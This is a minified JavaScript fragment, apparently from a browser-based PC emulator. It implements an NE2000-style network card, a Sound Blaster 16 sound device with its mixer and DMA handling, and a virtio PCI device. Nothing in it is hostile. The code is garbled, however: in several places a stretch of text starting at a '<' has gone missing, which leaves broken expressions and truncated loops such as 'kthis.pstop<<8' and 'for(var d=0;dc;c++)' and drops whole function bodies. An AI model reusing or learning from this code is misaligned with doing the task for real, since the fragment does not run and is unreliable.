g=this.get_page();0===g?(A(e,2),this.isr&=~e,this.update_irq()):1===g&&(A(e,2),this.curpg=e)});b.register_write(this.port|13,this,function(e){0===this.get_page()&&(this.txcr=e);A(e,2)});b.register_write(this.port|14,this,function(e){0===this.get_page()?(A(e,2),this.dcfg=e):A(e,2)});b.register_read(this.port| +10,this,function(){var e=this.get_page();return 0===e?80:1===e?this.mar[2]:0});b.register_write(this.port|10,this,function(e){0===this.get_page()?(A(e,2),this.rcnt=this.rcnt&65280|e&255):A(e,2)});b.register_read(this.port|11,this,function(){var e=this.get_page();return 0===e?67:1===e?this.mar[3]:0});b.register_write(this.port|11,this,function(e){0===this.get_page()?(A(e,2),this.rcnt=this.rcnt&255|e<<8&65280):A(e,2)});b.register_read(this.port|8,this,function(){var e=this.get_page();return 0===e?this.rsar& +255:1===e?this.mar[0]:0});b.register_write(this.port|8,this,function(e){0===this.get_page()?(A(e,2),this.rsar=this.rsar&65280|e&255):A(e,2)});b.register_read(this.port|9,this,function(){var e=this.get_page();return 0===e?this.rsar>>8&255:1===e?this.mar[1]:0});b.register_write(this.port|9,this,function(e){0===this.get_page()?(A(e,2),this.rsar=this.rsar&255|e<<8&65280):A(e,2)});b.register_write(this.port|15,this,function(e){0===this.get_page()?(A(e,2),A(this.isr,2),this.imr=e,this.update_irq()):A(e, +2)});b.register_read(this.port|3,this,function(){var e=this.get_page();return 0===e?(A(this.boundary,2),this.boundary):1===e?this.mac[2]:0});b.register_write(this.port|3,this,function(e){var g=this.get_page();0===g?(A(e,2),this.boundary=e):1===g?(A(e),this.mac[2]=e):A(e)});b.register_read(this.port|4,this,function(){var e=this.get_page();return 0===e?this.tsr:1===e?this.mac[3]:0});b.register_write(this.port|4,this,function(e){var g=this.get_page();0===g?(A(e,2),this.tpsr=e):1===g?(A(e),this.mac[3]= +e):A(e)});b.register_read(this.port|5,this,function(){var e=this.get_page();return 0===e?0:1===e?this.mac[4]:0});b.register_write(this.port|5,this,function(e){var g=this.get_page();0===g?(A(e,2),this.tcnt=this.tcnt&-256|e):1===g?(A(e),this.mac[4]=e):A(e)});b.register_read(this.port|6,this,function(){var e=this.get_page();return 0===e?0:1===e?this.mac[5]:0});b.register_write(this.port|6,this,function(e){var g=this.get_page();0===g?(A(e,2),this.tcnt=this.tcnt&255|e<<8):1===g?(A(e),this.mac[5]=e):A(e)}); +b.register_read(this.port|12,this,function(){var e=this.get_page();return 0===e?9:1===e?this.mar[4]:0});b.register_write(this.port|12,this,function(e){0===this.get_page()?(A(e,2),this.rxcr=e):A(e)});b.register_read(this.port|16,this,this.data_port_read8,this.data_port_read16,this.data_port_read32);b.register_write(this.port|16,this,this.data_port_write16,this.data_port_write16,this.data_port_write32);a.devices.pci.register_device(this)} +Fa.prototype.get_state=function(){var a=[];a[0]=this.isr;a[1]=this.imr;a[2]=this.cr;a[3]=this.dcfg;a[4]=this.rcnt;a[5]=this.tcnt;a[6]=this.tpsr;a[7]=this.rsar;a[8]=this.pstart;a[9]=this.curpg;a[10]=this.boundary;a[11]=this.pstop;a[12]=this.rxcr;a[13]=this.txcr;a[14]=this.tsr;a[15]=this.mac;a[16]=this.memory;return a}; +Fa.prototype.set_state=function(a){this.isr=a[0];this.imr=a[1];this.cr=a[2];this.dcfg=a[3];this.rcnt=a[4];this.tcnt=a[5];this.tpsr=a[6];this.rsar=a[7];this.pstart=a[8];this.curpg=a[9];this.boundary=a[10];this.pstop=a[11];this.rxcr=a[12];this.txcr=a[13];this.tsr=a[14];this.preserve_mac_from_state_image?(this.mac=a[15],this.memory=a[16]):this.mac_address_translation&&(this.mac_address_in_state=a[15],this.memory=a[16],Ea(this.mac_address_in_state),Ea(this.mac))}; +Fa.prototype.do_interrupt=function(a){A(a,2);this.isr|=a;this.update_irq()};Fa.prototype.update_irq=function(){this.imr&this.isr?this.pci.raise_irq(this.pci_id):this.pci.lower_irq(this.pci_id)};Fa.prototype.data_port_write=function(a){if(16>=this.rsar||16384<=this.rsar&&32768>this.rsar)this.memory[this.rsar]=a;this.rsar++;this.rcnt--;this.rsar>=this.pstop<<8&&(this.rsar+=this.pstart-this.pstop<<8);0===this.rcnt&&this.do_interrupt(64)}; +Fa.prototype.data_port_write16=function(a){this.data_port_write(a);this.dcfg&1&&this.data_port_write(a>>8)};Fa.prototype.data_port_write32=function(a){this.data_port_write(a);this.data_port_write(a>>8);this.data_port_write(a>>16);this.data_port_write(a>>24)};Fa.prototype.data_port_read=function(){let a=0;32768>this.rsar&&(a=this.memory[this.rsar]);this.rsar++;this.rcnt--;this.rsar>=this.pstop<<8&&(this.rsar+=this.pstart-this.pstop<<8);0===this.rcnt&&this.do_interrupt(64);return a}; +Fa.prototype.data_port_read8=function(){return this.data_port_read16()&255};Fa.prototype.data_port_read16=function(){return this.dcfg&1?this.data_port_read()|this.data_port_read()<<8:this.data_port_read()};Fa.prototype.data_port_read32=function(){return this.data_port_read()|this.data_port_read()<<8|this.data_port_read()<<16|this.data_port_read()<<24}; +Fa.prototype.receive=function(a){if(!(this.cr&1)&&(this.bus.send("eth-receive-end",[a.length]),this.rxcr&16||this.rxcr&4&&255===a[0]&&255===a[1]&&255===a[2]&&255===a[3]&&255===a[4]&&255===a[5]||!(this.rxcr&8&&1===(a[0]&1)||a[0]!==this.mac[0]||a[1]!==this.mac[1]||a[2]!==this.mac[2]||a[3]!==this.mac[3]||a[4]!==this.mac[4]||a[5]!==this.mac[5]))){this.mac_address_in_state&&(a=new Uint8Array(a),Da(a,this.mac,this.mac_address_in_state));var b=this.curpg<<8,c=Math.max(60,a.length)+4,d=b+4,e=this.curpg+1+ +(c>>8),g=b+c,f=1+(c>>8),k=this.boundary>this.curpg?this.boundary-this.curpg:this.pstop-this.curpg+this.boundary-this.pstart;kthis.pstop<<8?(g=(this.pstop<<8)-d,this.memory.set(a.subarray(0,g),d),this.memory.set(a.subarray(g),this.pstart<<8),A(g)):(this.memory.set(a,d),60>a.length&&this.memory.fill(0,d+a.length,d+60)),e>=this.pstop&&(e+=this.pstart-this.pstop),this.memory[b]=1,this.memory[b+1]=e,this.memory[b+ +2]=c,this.memory[b+3]=c>>8,this.curpg=e,A(b),A(c),A(e),this.do_interrupt(1))}};Fa.prototype.get_page=function(){return this.cr>>6&3};var Ga=new Uint8Array(256),Ha=[],Ia=[],Ja=[],Ka=new Uint8Array(256),La=[]; +function Q(a,b){this.cpu=a;this.bus=b;this.write_buffer=new ka(64);this.read_buffer=new ka(64);this.mixer_current_address=this.command_size=this.command=this.read_buffer_lastvalue=0;this.mixer_registers=new Uint8Array(256);this.mixer_reset();this.dummy_speaker_enabled=!1;this.test_register=0;this.dsp_signed=this.dsp_16bit=this.dsp_stereo=this.dsp_highspeed=!1;this.dac_buffers=[new la(65536),new la(65536)];this.dma=a.devices.dma;this.dma_channel=this.dma_irq=this.dma_bytes_block=this.dma_bytes_left= +this.dma_bytes_count=this.dma_sample_count=0;this.dma_channel_8bit=1;this.dma_channel_16bit=5;this.dma_autoinit=!1;this.dma_buffer=new ArrayBuffer(65536);this.dma_buffer_int8=new Int8Array(this.dma_buffer);this.dma_buffer_uint8=new Uint8Array(this.dma_buffer);this.dma_buffer_int16=new Int16Array(this.dma_buffer);this.dma_buffer_uint16=new Uint16Array(this.dma_buffer);this.dma_syncbuffer=new r.SyncBuffer(this.dma_buffer);this.dma_paused=this.dma_waiting_transfer=!1;this.sampling_rate=22050;b.send("dac-tell-sampling-rate", +this.sampling_rate);this.bytes_per_sample=1;this.e2_value=170;this.e2_count=0;this.asp_registers=new Uint8Array(256);this.mpu_read_buffer=new ka(64);this.fm_current_address1=this.fm_current_address0=this.mpu_read_buffer_lastvalue=0;this.fm_waveform_select_enable=!1;this.irq=5;this.irq_triggered=new Uint8Array(16);a.io.register_read_consecutive(544,this,this.port2x0_read,this.port2x1_read,this.port2x2_read,this.port2x3_read);a.io.register_read_consecutive(904,this,this.port2x0_read,this.port2x1_read); +a.io.register_read_consecutive(548,this,this.port2x4_read,this.port2x5_read);a.io.register_read(550,this,this.port2x6_read);a.io.register_read(551,this,this.port2x7_read);a.io.register_read(552,this,this.port2x8_read);a.io.register_read(553,this,this.port2x9_read);a.io.register_read(554,this,this.port2xA_read);a.io.register_read(555,this,this.port2xB_read);a.io.register_read(556,this,this.port2xC_read);a.io.register_read(557,this,this.port2xD_read);a.io.register_read_consecutive(558,this,this.port2xE_read, +this.port2xF_read);a.io.register_write_consecutive(544,this,this.port2x0_write,this.port2x1_write,this.port2x2_write,this.port2x3_write);a.io.register_write_consecutive(904,this,this.port2x0_write,this.port2x1_write);a.io.register_write_consecutive(548,this,this.port2x4_write,this.port2x5_write);a.io.register_write(550,this,this.port2x6_write);a.io.register_write(551,this,this.port2x7_write);a.io.register_write_consecutive(552,this,this.port2x8_write,this.port2x9_write);a.io.register_write(554,this, +this.port2xA_write);a.io.register_write(555,this,this.port2xB_write);a.io.register_write(556,this,this.port2xC_write);a.io.register_write(557,this,this.port2xD_write);a.io.register_write(558,this,this.port2xE_write);a.io.register_write(559,this,this.port2xF_write);a.io.register_read_consecutive(816,this,this.port3x0_read,this.port3x1_read);a.io.register_write_consecutive(816,this,this.port3x0_write,this.port3x1_write);this.dma.on_unmask(this.dma_on_unmask,this);b.register("dac-request-data",function(){this.dac_handle_request()}, +this);b.register("speaker-has-initialized",function(){this.mixer_reset()},this);b.send("speaker-confirm-initialized");this.dsp_reset()} +Q.prototype.dsp_reset=function(){this.write_buffer.clear();this.read_buffer.clear();this.command_size=this.command=0;this.dummy_speaker_enabled=!1;this.test_register=0;this.dsp_signed=this.dsp_16bit=this.dsp_stereo=this.dsp_highspeed=!1;this.dac_buffers[0].clear();this.dac_buffers[1].clear();this.dma_channel=this.dma_irq=this.dma_bytes_block=this.dma_bytes_left=this.dma_bytes_count=this.dma_sample_count=0;this.dma_autoinit=!1;this.dma_buffer_uint8.fill(0);this.dma_paused=this.dma_waiting_transfer= +!1;this.e2_value=170;this.e2_count=0;this.sampling_rate=22050;this.bytes_per_sample=1;this.lower_irq(1);this.irq_triggered.fill(0);this.asp_registers.fill(0);this.asp_registers[5]=1;this.asp_registers[9]=248}; +Q.prototype.get_state=function(){var a=[];a[2]=this.read_buffer_lastvalue;a[3]=this.command;a[4]=this.command_size;a[5]=this.mixer_current_address;a[6]=this.mixer_registers;a[7]=this.dummy_speaker_enabled;a[8]=this.test_register;a[9]=this.dsp_highspeed;a[10]=this.dsp_stereo;a[11]=this.dsp_16bit;a[12]=this.dsp_signed;a[15]=this.dma_sample_count;a[16]=this.dma_bytes_count;a[17]=this.dma_bytes_left;a[18]=this.dma_bytes_block;a[19]=this.dma_irq;a[20]=this.dma_channel;a[21]=this.dma_channel_8bit;a[22]= +this.dma_channel_16bit;a[23]=this.dma_autoinit;a[24]=this.dma_buffer_uint8;a[25]=this.dma_waiting_transfer;a[26]=this.dma_paused;a[27]=this.sampling_rate;a[28]=this.bytes_per_sample;a[29]=this.e2_value;a[30]=this.e2_count;a[31]=this.asp_registers;a[33]=this.mpu_read_buffer_last_value;a[34]=this.irq;a[35]=this.irq_triggered;return a}; +Q.prototype.set_state=function(a){this.read_buffer_lastvalue=a[2];this.command=a[3];this.command_size=a[4];this.mixer_current_address=a[5];this.mixer_registers=a[6];this.mixer_full_update();this.dummy_speaker_enabled=a[7];this.test_register=a[8];this.dsp_highspeed=a[9];this.dsp_stereo=a[10];this.dsp_16bit=a[11];this.dsp_signed=a[12];this.dma_sample_count=a[15];this.dma_bytes_count=a[16];this.dma_bytes_left=a[17];this.dma_bytes_block=a[18];this.dma_irq=a[19];this.dma_channel=a[20];this.dma_channel_8bit= +a[21];this.dma_channel_16bit=a[22];this.dma_autoinit=a[23];this.dma_buffer_uint8=a[24];this.dma_waiting_transfer=a[25];this.dma_paused=a[26];this.sampling_rate=a[27];this.bytes_per_sample=a[28];this.e2_value=a[29];this.e2_count=a[30];this.asp_registers=a[31];this.mpu_read_buffer_last_value=a[33];this.irq=a[34];this.irq_triggered=a[35];this.dma_buffer=this.dma_buffer_uint8.buffer;this.dma_buffer_int8=new Int8Array(this.dma_buffer);this.dma_buffer_int16=new Int16Array(this.dma_buffer);this.dma_buffer_uint16= +new Uint16Array(this.dma_buffer);this.dma_syncbuffer=new r.SyncBuffer(this.dma_buffer);this.dma_paused?this.bus.send("dac-disable"):this.bus.send("dac-enable")};Q.prototype.port2x0_read=function(){return 255};Q.prototype.port2x1_read=function(){return 255};Q.prototype.port2x2_read=function(){return 255};Q.prototype.port2x3_read=function(){return 255};Q.prototype.port2x4_read=function(){return this.mixer_current_address};Q.prototype.port2x5_read=function(){return this.mixer_read(this.mixer_current_address)}; +Q.prototype.port2x6_read=function(){return 255};Q.prototype.port2x7_read=function(){return 255};Q.prototype.port2x8_read=function(){return 255};Q.prototype.port2x9_read=function(){return 255};Q.prototype.port2xA_read=function(){this.read_buffer.length&&(this.read_buffer_lastvalue=this.read_buffer.shift());A(this.read_buffer_lastvalue);String.fromCharCode(this.read_buffer_lastvalue);return this.read_buffer_lastvalue};Q.prototype.port2xB_read=function(){return 255};Q.prototype.port2xC_read=function(){return 127}; +Q.prototype.port2xD_read=function(){return 255};Q.prototype.port2xE_read=function(){this.irq_triggered[1]&&this.lower_irq(1);return(this.read_buffer.length&&!this.dsp_highspeed)<<7|127};Q.prototype.port2xF_read=function(){this.lower_irq(2);return 0};Q.prototype.port2x0_write=function(a){A(a);this.fm_current_address0=0};Q.prototype.port2x1_write=function(a){A(a);var b=La[this.fm_current_address0];b||(b=this.fm_default_write);b.call(this,a,0,this.fm_current_address0)}; +Q.prototype.port2x2_write=function(a){A(a);this.fm_current_address1=0};Q.prototype.port2x3_write=function(a){A(a);var b=La[this.fm_current_address1];b||(b=this.fm_default_write);b.call(this,a,1,this.fm_current_address1)};Q.prototype.port2x4_write=function(a){A(a);this.mixer_current_address=a};Q.prototype.port2x5_write=function(a){A(a);this.mixer_write(this.mixer_current_address,a)}; +Q.prototype.port2x6_write=function(a){A(a);this.dsp_highspeed?this.dsp_highspeed=!1:a&&this.dsp_reset();this.read_buffer.clear();this.read_buffer.push(170)};Q.prototype.port2x7_write=function(){};Q.prototype.port2x8_write=function(){};Q.prototype.port2x9_write=function(){};Q.prototype.port2xA_write=function(){};Q.prototype.port2xB_write=function(){}; +Q.prototype.port2xC_write=function(a){0===this.command?(A(a),this.command=a,this.write_buffer.clear(),this.command_size=Ga[a]):(A(a),this.write_buffer.push(a));this.write_buffer.length>=this.command_size&&this.command_do()};Q.prototype.port2xD_write=function(){};Q.prototype.port2xE_write=function(){};Q.prototype.port2xF_write=function(){}; +Q.prototype.port3x0_read=function(){this.mpu_read_buffer.length&&(this.mpu_read_buffer_lastvalue=this.mpu_read_buffer.shift());A(this.mpu_read_buffer_lastvalue);return this.mpu_read_buffer_lastvalue};Q.prototype.port3x0_write=function(a){A(a)};Q.prototype.port3x1_read=function(){return 0|128*!this.mpu_read_buffer.length};Q.prototype.port3x1_write=function(a){A(a);255==a&&(this.mpu_read_buffer.clear(),this.mpu_read_buffer.push(254))}; +Q.prototype.command_do=function(){var a=Ha[this.command];a||(a=this.dsp_default_handler);a.call(this);this.command_size=this.command=0;this.write_buffer.clear()};Q.prototype.dsp_default_handler=function(){A(this.command)};function R(a,b,c){c||(c=Q.prototype.dsp_default_handler);for(var d=0;dc;c++)b.push(a+c);return b}R([14],2,function(){this.asp_registers[this.write_buffer.shift()]=this.write_buffer.shift()}); +R([15],1,function(){this.read_buffer.clear();this.read_buffer.push(this.asp_registers[this.write_buffer.shift()])});R([16],1,function(){var a=this.write_buffer.shift();a=Na(a/127.5+-1,-1,1);this.dac_buffers[0].push(a);this.dac_buffers[1].push(a);this.bus.send("dac-enable")});R([20,21],2,function(){this.dma_irq=1;this.dma_channel=this.dma_channel_8bit;this.dsp_highspeed=this.dsp_16bit=this.dsp_signed=this.dma_autoinit=!1;this.dma_transfer_size_set();this.dma_transfer_start()});R([22],2);R([23],2); +R([28],0,function(){this.dma_irq=1;this.dma_channel=this.dma_channel_8bit;this.dma_autoinit=!0;this.dsp_highspeed=this.dsp_16bit=this.dsp_signed=!1;this.dma_transfer_start()});R([31],0);R([32],0,function(){this.read_buffer.clear();this.read_buffer.push(127)});R([36],2);R([44],0);R([48],0);R([49],0);R([52],0);R([53],0);R([54],0);R([55],0);R([56],0);R([64],1,function(){this.sampling_rate_change(1E6/(256-this.write_buffer.shift())/this.get_channel_count())}); +R([65,66],2,function(){this.sampling_rate_change(this.write_buffer.shift()<<8|this.write_buffer.shift())});R([72],2,function(){this.dma_transfer_size_set()});R([116],2);R([117],2);R([118],2);R([119],2);R([125],0);R([127],0);R([128],2);R([144],0,function(){this.dma_irq=1;this.dma_channel=this.dma_channel_8bit;this.dma_autoinit=!0;this.dsp_signed=!1;this.dsp_highspeed=!0;this.dsp_16bit=!1;this.dma_transfer_start()});R([145],0);R([152],0);R([153],0);R([160],0);R([168],0); +R(Ma(176),3,function(){if(this.command&8)this.dsp_default_handler();else{var a=this.write_buffer.shift();this.dma_irq=2;this.dma_channel=this.dma_channel_16bit;this.dma_autoinit=!!(this.command&4);this.dsp_signed=!!(a&16);this.dsp_stereo=!!(a&32);this.dsp_16bit=!0;this.dma_transfer_size_set();this.dma_transfer_start()}}); +R(Ma(192),3,function(){if(this.command&8)this.dsp_default_handler();else{var a=this.write_buffer.shift();this.dma_irq=1;this.dma_channel=this.dma_channel_8bit;this.dma_autoinit=!!(this.command&4);this.dsp_signed=!!(a&16);this.dsp_stereo=!!(a&32);this.dsp_16bit=!1;this.dma_transfer_size_set();this.dma_transfer_start()}});R([208],0,function(){this.dma_paused=!0;this.bus.send("dac-disable")});R([209],0,function(){this.dummy_speaker_enabled=!0});R([211],0,function(){this.dummy_speaker_enabled=!1}); +R([212],0,function(){this.dma_paused=!1;this.bus.send("dac-enable")});R([213],0,function(){this.dma_paused=!0;this.bus.send("dac-disable")});R([214],0,function(){this.dma_paused=!1;this.bus.send("dac-enable")});R([216],0,function(){this.read_buffer.clear();this.read_buffer.push(255*this.dummy_speaker_enabled)});R([217,218],0,function(){this.dma_autoinit=!1});R([224],1,function(){this.read_buffer.clear();this.read_buffer.push(~this.write_buffer.shift())}); +R([225],0,function(){this.read_buffer.clear();this.read_buffer.push(4);this.read_buffer.push(5)});R([226],1);R([227],0,function(){this.read_buffer.clear();for(var a=0;44>a;a++)this.read_buffer.push("COPYRIGHT (C) CREATIVE TECHNOLOGY LTD, 1992.".charCodeAt(a));this.read_buffer.push(0)});R([228],1,function(){this.test_register=this.write_buffer.shift()});R([232],0,function(){this.read_buffer.clear();this.read_buffer.push(this.test_register)});R([242,243],0,function(){this.raise_irq()});var Oa=new Uint8Array(256); +Oa[14]=255;Oa[15]=7;Oa[55]=56;R([249],1,function(){var a=this.write_buffer.shift();this.read_buffer.clear();this.read_buffer.push(Oa[a])});Q.prototype.mixer_read=function(a){var b=Ia[a];b?b=b.call(this):(b=this.mixer_registers[a],A(a),A(b));return b};Q.prototype.mixer_write=function(a,b){var c=Ja[a];c?c.call(this,b):(A(a),A(b))};Q.prototype.mixer_default_read=function(){A(this.mixer_current_address);return this.mixer_registers[this.mixer_current_address]}; +Q.prototype.mixer_default_write=function(a){A(this.mixer_current_address);A(a);this.mixer_registers[this.mixer_current_address]=a}; +Q.prototype.mixer_reset=function(){this.mixer_registers[4]=204;this.mixer_registers[34]=204;this.mixer_registers[38]=204;this.mixer_registers[40]=0;this.mixer_registers[46]=0;this.mixer_registers[10]=0;this.mixer_registers[48]=192;this.mixer_registers[49]=192;this.mixer_registers[50]=192;this.mixer_registers[51]=192;this.mixer_registers[52]=192;this.mixer_registers[53]=192;this.mixer_registers[54]=0;this.mixer_registers[55]=0;this.mixer_registers[56]=0;this.mixer_registers[57]=0;this.mixer_registers[59]= +0;this.mixer_registers[60]=31;this.mixer_registers[61]=21;this.mixer_registers[62]=11;this.mixer_registers[63]=0;this.mixer_registers[64]=0;this.mixer_registers[65]=0;this.mixer_registers[66]=0;this.mixer_registers[67]=0;this.mixer_registers[68]=128;this.mixer_registers[69]=128;this.mixer_registers[70]=128;this.mixer_registers[71]=128;this.mixer_full_update()};Q.prototype.mixer_full_update=function(){for(var a=1;a>>4};Ja[a]=function(d){this.mixer_registers[a]=d;var e=d<<4&240|this.mixer_registers[c]&15;this.mixer_write(b,d&240|this.mixer_registers[b]&15);this.mixer_write(c,e)}} +function Ta(a,b,c){Ia[a]=Q.prototype.mixer_default_read;Ja[a]=function(d){this.mixer_registers[a]=d;this.bus.send("mixer-volume",[b,c,(d>>>2)-62])}}Pa(0,function(){this.mixer_reset();return 0});Qa(0);Sa(4,50,51);Sa(34,48,49);Sa(38,52,53);Sa(40,54,55);Sa(46,56,57);Ta(48,0,0);Ta(49,0,1);Ta(50,2,0);Ta(51,2,1);Pa(59);Qa(59,function(a){this.mixer_registers[59]=a;this.bus.send("mixer-volume",[1,2,6*(a>>>6)-18])});Pa(65); +Qa(65,function(a){this.mixer_registers[65]=a;this.bus.send("mixer-gain-left",6*(a>>>6))});Pa(66);Qa(66,function(a){this.mixer_registers[66]=a;this.bus.send("mixer-gain-right",6*(a>>>6))});Pa(68);Qa(68,function(a){this.mixer_registers[68]=a;a>>>=3;this.bus.send("mixer-treble-left",a-(16>a?14:16))});Pa(69);Qa(69,function(a){this.mixer_registers[69]=a;a>>>=3;this.bus.send("mixer-treble-right",a-(16>a?14:16))});Pa(70); +Qa(70,function(a){this.mixer_registers[70]=a;a>>>=3;this.bus.send("mixer-bass-right",a-(16>a?14:16))});Pa(71);Qa(71,function(a){this.mixer_registers[71]=a;a>>>=3;this.bus.send("mixer-bass-right",a-(16>a?14:16))});Pa(128,function(){switch(this.irq){case 2:return 1;case 5:return 2;case 7:return 4;case 10:return 8;default:return 0}});Qa(128,function(a){a&1&&(this.irq=2);a&2&&(this.irq=5);a&4&&(this.irq=7);a&8&&(this.irq=10)}); +Pa(129,function(){var a=0;switch(this.dma_channel_8bit){case 0:a|=1;break;case 1:a|=2;break;case 3:a|=8}switch(this.dma_channel_16bit){case 5:a|=32;break;case 6:a|=64;break;case 7:a|=128}return a});Qa(129,function(a){a&1&&(this.dma_channel_8bit=0);a&2&&(this.dma_channel_8bit=1);a&8&&(this.dma_channel_8bit=3);a&32&&(this.dma_channel_16bit=5);a&64&&(this.dma_channel_16bit=6);a&128&&(this.dma_channel_16bit=7)});Pa(130,function(){for(var a=32,b=0;16>b;b++)a|=b*this.irq_triggered[b];return a}); +Q.prototype.fm_default_write=function(a,b,c){A(c);A(a)};function T(a,b){b||(b=Q.prototype.fm_default_write);for(var c=0;c>2&-4,32),this.dma_bytes_block);this.dma_waiting_transfer=!0;this.dma.channel_mask[this.dma_channel]||this.dma_on_unmask(this.dma_channel)}; +Q.prototype.dma_on_unmask=function(a){a===this.dma_channel&&this.dma_waiting_transfer&&(this.dma_waiting_transfer=!1,this.dma_bytes_left=this.dma_bytes_count,this.dma_paused=!1,this.bus.send("dac-enable"))}; +Q.prototype.dma_transfer_next=function(){var a=Math.min(this.dma_bytes_left,this.dma_bytes_block),b=Math.floor(a/this.bytes_per_sample);this.dma.do_write(this.dma_syncbuffer,0,a,this.dma_channel,c=>{c||(this.dma_to_dac(b),this.dma_bytes_left-=a,this.dma_bytes_left||(this.raise_irq(this.dma_irq),this.dma_autoinit&&(this.dma_bytes_left=this.dma_bytes_count)))})}; +Q.prototype.dma_to_dac=function(a){var b=this.dsp_16bit?32767.5:127.5,c=this.dsp_signed?0:-1,d=this.dsp_stereo?1:2;var e=this.dsp_16bit?this.dsp_signed?this.dma_buffer_int16:this.dma_buffer_uint16:this.dsp_signed?this.dma_buffer_int8:this.dma_buffer_uint8;for(var g=0,f=0;fc)*c+(b<=a&&a<=c)*a};function h(a,b){this.cpu=a;this.pci=a.devices.pci;this.device_id=b.device_id;this.pci_space=[244,26,b.device_id&255,b.device_id>>8,7,5,16,0,1,0,2,0,0,0,0,0,1,168,0,0,0,16,191,254,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,244,26,b.subsystem_device_id&255,b.subsystem_device_id>>8,0,0,0,0,64,0,0,0,0,0,0,0,0,1,0,0];this.pci_space=this.pci_space.concat(r.zeros(256-this.pci_space.length));this.pci_id=b.pci_id;this.pci_bars=[];this.name=b.name;this.driver_feature_select=this.device_feature_select=0;this.device_feature= +new Uint32Array(4);this.driver_feature=new Uint32Array(4);for(var c of b.common.features)this.device_feature[c>>>5]|=1<<(c&31),this.driver_feature[c>>>5]|=1<<(c&31);b.common.features.includes(32);this.features_ok=!0;this.device_status=0;this.config_has_changed=!1;this.config_generation=0;this.queues=[];for(const d of b.common.queues)this.queues.push(new W(a,this,d));this.queue_select=0;this.queue_selected=this.queues[0];this.isr_status=0;c=[];c.push(this.create_common_capability(b.common));c.push(this.create_notification_capability(b.notification)); +c.push(this.create_isr_capability(b.isr_status));b.device_specific&&c.push(this.create_device_specific_capability(b.device_specific));this.init_capabilities(c);a.devices.pci.register_device(this);this.reset()} +h.prototype.create_common_capability=function(a){return{type:1,bar:0,port:a.initial_port,use_mmio:!1,offset:0,extra:new Uint8Array(0),struct:[{bytes:4,name:"device_feature_select",read:()=>this.device_feature_select,write:b=>{this.device_feature_select=b}},{bytes:4,name:"device_feature",read:()=>this.device_feature[this.device_feature_select]||0,write:()=>{}},{bytes:4,name:"driver_feature_select",read:()=>this.driver_feature_select,write:b=>{this.driver_feature_select=b}},{bytes:4,name:"driver_feature", +read:()=>this.driver_feature[this.driver_feature_select]||0,write:b=>{const c=this.device_feature[this.driver_feature_select];this.driver_feature_select65535,write:()=>{}},{bytes:2,name:"num_queues",read:()=>this.queues.length,write:()=>{}},{bytes:1,name:"device_status",read:()=>this.device_status,write:b=>{0===b&&this.reset();b&~this.device_status& +4&&this.device_status&64&&this.notify_config_changes();this.features_ok||(b&=-9);this.device_status=b;if(b&~this.device_status&4)a.on_driver_ok()}},{bytes:1,name:"config_generation",read:()=>this.config_generation,write:()=>{}},{bytes:2,name:"queue_select",read:()=>this.queue_select,write:b=>{this.queue_select=b;this.queue_selected=this.queue_selectthis.queue_selected?this.queue_selected.size:0,write:b=> +{this.queue_selected&&(b&b-1&&(b=1<this.queue_selected.size_supported&&(b=this.queue_selected.size_supported),this.queue_selected.set_size(b))}},{bytes:2,name:"queue_msix_vector",read:()=>65535,write:()=>{}},{bytes:2,name:"queue_enable",read:()=>this.queue_selected?this.queue_selected.enabled|0:0,write:b=>{this.queue_selected&&1===b&&this.queue_selected.is_configured()&&this.queue_selected.enable()}},{bytes:2,name:"queue_notify_off",read:()=>this.queue_selected?this.queue_selected.notify_offset: +0,write:()=>{}},{bytes:4,name:"queue_desc (low dword)",read:()=>this.queue_selected?this.queue_selected.desc_addr:0,write:b=>{this.queue_selected&&(this.queue_selected.desc_addr=b)}},{bytes:4,name:"queue_desc (high dword)",read:()=>0,write:()=>{}},{bytes:4,name:"queue_avail (low dword)",read:()=>this.queue_selected?this.queue_selected.avail_addr:0,write:b=>{this.queue_selected&&(this.queue_selected.avail_addr=b)}},{bytes:4,name:"queue_avail (high dword)",read:()=>0,write:()=>{}},{bytes:4,name:"queue_used (low dword)", +read:()=>this.queue_selected?this.queue_selected.used_addr:0,write:b=>{this.queue_selected&&(this.queue_selected.used_addr=b)}},{bytes:4,name:"queue_used (high dword)",read:()=>0,write:()=>{}}]}}; +h.prototype.create_notification_capability=function(a){const b=[];let c;c=a.single_handler?0:2;for(const [d,e]of a.handlers.entries())b.push({bytes:2,name:"notify"+d,read:()=>65535,write:e||(()=>{})});return{type:2,bar:1,port:a.initial_port,use_mmio:!1,offset:0,extra:new Uint8Array([c&255,c>>8&255,c>>16&255,c>>24]),struct:b}}; +h.prototype.create_isr_capability=function(a){return{type:3,bar:2,port:a.initial_port,use_mmio:!1,offset:0,extra:new Uint8Array(0),struct:[{bytes:1,name:"isr_status",read:()=>{const b=this.isr_status;this.lower_irq();return b},write:()=>{}}]}};h.prototype.create_device_specific_capability=function(a){return{type:4,bar:3,port:a.initial_port,use_mmio:!1,offset:0,extra:new Uint8Array(0),struct:a.struct}}; +h.prototype.init_capabilities=function(a){let b=this.pci_space[52]=64;var c=b;for(const e of a){a=16+e.extra.length;c=b;b=c+a;var d=e.struct.reduce((g,f)=>g+f.bytes,0);d+=e.offset;d=16>d?16:1<>>8&255;this.pci_space[c+ +10]=e.offset>>>16&255;this.pci_space[c+11]=e.offset>>>24;this.pci_space[c+12]=d&255;this.pci_space[c+13]=d>>>8&255;this.pci_space[c+14]=d>>>16&255;this.pci_space[c+15]=d>>>24;for(const [g,f]of e.extra.entries())this.pci_space[c+16+g]=f;c=16+4*e.bar;this.pci_space[c]=e.port&254|!e.use_mmio;this.pci_space[c+1]=e.port>>>8&255;this.pci_space[c+2]=e.port>>>16&255;this.pci_space[c+3]=e.port>>>24&255;c=e.port+e.offset;for(const g of e.struct){let f=g.read;a=g.write;if(!e.use_mmio){d=function(l){return f(l& +-2)>>((l&1)<<3)&255};const k=function(l){return f(l&-4)>>((l&3)<<3)&255};switch(g.bytes){case 4:this.cpu.io.register_read(c,this,k,void 0,f);this.cpu.io.register_write(c,this,void 0,void 0,a);break;case 2:this.cpu.io.register_read(c,this,d,f);this.cpu.io.register_write(c,this,void 0,a);break;case 1:this.cpu.io.register_read(c,this,f),this.cpu.io.register_write(c,this,a)}}c+=g.bytes}}this.pci_space[b]=9;this.pci_space[b+1]=0;this.pci_space[b+2]=20;this.pci_space[b+3]=5;this.pci_space[b+4]=0;this.pci_space[b+ 